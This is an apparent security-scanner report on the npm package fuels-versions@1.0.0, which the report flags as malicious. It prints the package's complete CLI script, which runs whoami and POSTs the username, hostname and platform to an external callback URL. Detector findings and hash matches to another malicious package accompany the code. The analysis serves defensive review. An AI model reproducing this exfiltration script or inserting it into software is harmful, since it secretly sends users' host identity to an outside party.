fuels-versions@1.0.0: Malicious npm security report (Block) | LPM Firewall

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fuels-versions@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

bin/cli.jsView file

2L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

•matchType = normalized_sha256 matchedPackage = cre-setup@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Y3JlLXNldHVw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cre-setup@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Y3JlLXNldHVw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

7const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";

High

Ai Review Evidence

The command collects the local account name and host identity and posts them to an unrelated external callback.

bin/cli.jsView on unpkg · L7

24url.searchParams.set("pkg", name); url.searchParams.set("whoami", user); try {

High

Ai Review Evidence

The command collects the local account name and host identity and posts them to an unrelated external callback.

bin/cli.jsView on unpkg · L24

35body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }),

High

Ai Review Evidence

The command collects the local account name and host identity and posts them to an unrelated external callback.

bin/cli.jsView on unpkg · L35

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

4"description": "Minimal npx package that POSTs package name and whoami to an OOB callback",

High

Ai Review Evidence

The manifest describes the package as sending the package name and current user to an out-of-band callback.

package.jsonView on unpkg · L4

Source & flagged code

8 flagged

bin/cli.jsView file

Lines 1-48javascript

1#!/usr/bin/env node

2

3const { execFileSync } = require("node:child_process");

4const os = require("node:os");

5const { name } = require("../package.json");

6

7const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";

High

Ai Review Evidence

The command collects the local account name and host identity and posts them to an unrelated external callback.

bin/cli.jsView on unpkg · L7

8

9function whoami() {

10 try {

11 return execFileSync("whoami", { encoding: "utf8" }).trim();

12 } catch {

13 try {

14 return os.userInfo().username;

15 } catch {

16 return "unknown";

17 }

18 }

19}

20

21async function main() {

22 const user = whoami();

23 const url = new URL(OOB_URL);

24 url.searchParams.set("pkg", name);

25 url.searchParams.set("whoami", user);

26

27 try {

High

Ai Review Evidence

The command collects the local account name and host identity and posts them to an unrelated external callback.

bin/cli.jsView on unpkg · L24

28 await fetch(url.toString(), {

29 method: "POST",

30 headers: {

31 "Content-Type": "application/json",

32 "User-Agent": `npx/${name}`,

33 "X-Package-Name": name,

34 },

35 body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

36 pkg: name,

37 whoami: user,

38 hostname: os.hostname(),

39 platform: os.platform(),

40 }),

High

Ai Review Evidence

The command collects the local account name and host identity and posts them to an unrelated external callback.

bin/cli.jsView on unpkg · L35

41 });

42 } catch {

43 // OOB ping is best-effort; exit cleanly either way

44 }

45}

46

47main();

48

•matchType = normalized_sha256 matchedPackage = cre-setup@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Y3JlLXNldHVw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cre-setup@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Y3JlLXNldHVw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

package.jsonView file

Lines 1-20json

1{

2 "name": "fuels-versions",

3 "version": "1.0.0",

4 "description": "Minimal npx package that POSTs package name and whoami to an OOB callback",

High

Ai Review Evidence

The manifest describes the package as sending the package name and current user to an out-of-band callback.

package.jsonView on unpkg · L4

5